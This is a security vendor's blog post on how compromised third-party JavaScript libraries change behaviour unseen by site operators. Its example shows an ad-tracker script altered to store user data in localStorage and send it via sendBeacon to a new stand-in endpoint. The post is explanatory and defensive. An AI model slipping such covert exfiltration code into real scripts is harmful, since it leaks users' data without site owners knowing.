HUMAN BLOG

Client-Side – The Security Blindspot of your Website

Read time: 6 minutes

April 8, 2022

Uncategorized

Developing and managing a web application to scale has evolved in many different ways over the past two decades. In the following post, we’ll describe how a few of the more notable changes have led web application operators into a challenging situation.

The Evolution of Web Applications

With the growth in global internet bandwidth, stronger computers and extremely powerful modern browsers, web application architecture has changed significantly in two aspects:

 

The Evolution of the Development Teams

With the increasing complexity of web development processes and the multiple functions that are needed within the web development team, website teams keep growing. As a result of the shift to client-side development, web developers are moving to front-end or full-stack development. Web developer job growth is expected to increase by 27% by 2024, according to the U.S. Bureau of Labor Statistics, and full stack engineer ranked second in Glassdoor’s list of 50 Best Jobs in 2022. It all boils down to the fact that there are many more “hands” working on the same code base, pushing new code to the browser.

A few years back, a single team was responsible for all aspects of web application development. Current challenges have created a dynamic situation where multiple teams are working on the same website, each in a different section or layer, and often completely out of sync for changes with mutual impact.

The Evolution of Client Side Javascript

Developers once had full accountability for website source code. Today things are a bit different, due to the following trends in the last few years:

Everything described above has led to a situation where a standard web app easily becomes a large system built from in-house code, third-party vendor code and open source libraries, all managed by different teams. Together, this significantly increases your vulnerability to client-side attacks. The root of the problem is that these libraries are statically loaded into the page by an inline snippet, but dynamically change their content in the background, outside of the site owner’s control.

Let’s differentiate between the main sources of these modules

Scripts from third-party vendors and open sources libraries can lead to JavaScript behavioral changes on the page, affecting factors such as:

There is often a gap between the strict supervision of in-house code changes pushed to production and the lack of supervision of changes to third-party code — even though both of them are running on the same webpage.

Now, I will show how attackers abuse this trend and suggest different methods that can help get visibility and better insights into analyzing front-end code and changes in it.

Let’s take a simplified example of how the behavior of a third-party library may change as a result of a breach. This is an ad optimization third-party library that collects ad related metrics and was added to a website by the marketing team. After the third-party vendor that provides this service was breached, the behavior of the library has changed. The new behavior of the library potentially leaks users’ sensitive data to an unfamiliar HTTP endpoint, unbeknownst to the web operator, who can do nothing to prevent or mitigate this data leak.

The script was added to the tag from a known CDN

<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>head</span><span class="token punctuation">></span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://SOME-CDN.com/assets/ad_tracker.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>head</span><span class="token punctuation">></span></span>
The Original adtracker.js_
let EVENTS = [];
const TARGET_SERVER = "https://events-server.com/api";
document.getElementById("ad").addEventListener("mousemove", function(event) {
  const lastPos = `${event.clientY},${event.clientX}`;
  EVENTS.push(lastPos);
  document.cookie = `lastpos=${lastPos}`;
  if (EVENTS.length > 10) {
    flashEvents();
  }
});

function flashEvents() {
  let xhr = new XMLHttpRequest();
  xhr.open("POST", TARGET_SERVER);
  xhr.send(JSON.stringify(EVENTS));
  EVENTS = [];
}

Let’s map the behavior of the script:

Operator Action Target
ad_tracker.js Set cookie “lastpos” cookie
ad_tracker.js DOM Element Lookup DIV#ad
ad_tracker.js Network XHR https://events-server.com/api

Now at this stage, the script got breached, and with the content change, the script behavior changed as well. The script still performs most of the actions performed before, only now, new actions have also been added. These actions are taking the sensitive data collected by the original script and sending it to a new endpoint to be saved by an unfamiliar browser storage entity.

New adtracker.js version content_

<span class="token keyword">let</span> <span class="token constant">EVENTS</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> <span class="token constant">TARGET_SERVER</span> <span class="token operator">=</span> <span class="token string">"https://events-server.com/api"</span><span class="token punctuation">;</span>
<span class="token keyword">const</span> <span class="token constant">TARGET_SERVER1</span> <span class="token operator">=</span> <span class="token string">"https://users-server.com/api"</span><span class="token punctuation">;</span>
document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"ad"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">const</span> lastPos <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>event<span class="token punctuation">.</span>clientY<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">,</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>event<span class="token punctuation">.</span>clientX<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>
  <span class="token constant">EVENTS</span><span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>lastPos<span class="token punctuation">)</span><span class="token punctuation">;</span>
  document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">lastpos_cookie=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lastPos<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>
  localStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">"lastpos"</span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lastPos<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// User’s data is saved to a new storage entity</span>
  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">EVENTS</span><span class="token punctuation">.</span>length <span class="token operator">></span> <span class="token number">10</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token function">flashEvents</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  <span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token keyword">function</span> <span class="token function">flashEvents</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">let</span> xhr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  xhr<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"POST"</span><span class="token punctuation">,</span> <span class="token constant">TARGET_SERVER</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  xhr<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token constant">EVENTS</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  <span class="token constant">EVENTS</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>

  <span class="token keyword">if</span> <span class="token punctuation">(</span>navigator<span class="token punctuation">.</span>sendBeacon<span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token keyword">const</span> data <span class="token operator">=</span> <span class="token string">"events="</span> <span class="token operator">+</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token constant">EVENTS</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token constant">TARGET_SERVER1</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// User’s data is sent to a new HTTP endpoint</span>
  <span class="token punctuation">}</span>
<span class="token punctuation">}</span>

Here’s how the new behavior map of the script looks like:

Operator Action Target Details
ad_tracker.js Cookie Setter “lastpos_data” cookie Target changed
ad_tracker.js DOM Element Lookup DIV#ad Known behavior
ad_tracker.js Network XHR https://events-server.com/api Known behavior
ad_tracker.js Localstorage Setter “lastpos” storage key New behavior
ad_tracker.js Network Beacon https://users-server.com/api New behavior

The new actions performed by the third-party library are completely invisible to the web developers and SREs responsible for the site performance and experience. Even so, they are still liable for their users’ data. This script could potentially send sensitive data from the local storage to an unknown domain, and they would not be notified of this kind of change nor have an easy way to control it.

This is just one example of what constantly happens on the client-side of the websites, leaving the website’s operator blind to a significant part of the website activity.

In the second blog post in this series, we’ll talk about how these changing libraries open a door for data breaches and user session hijacking threats.

Spread the Word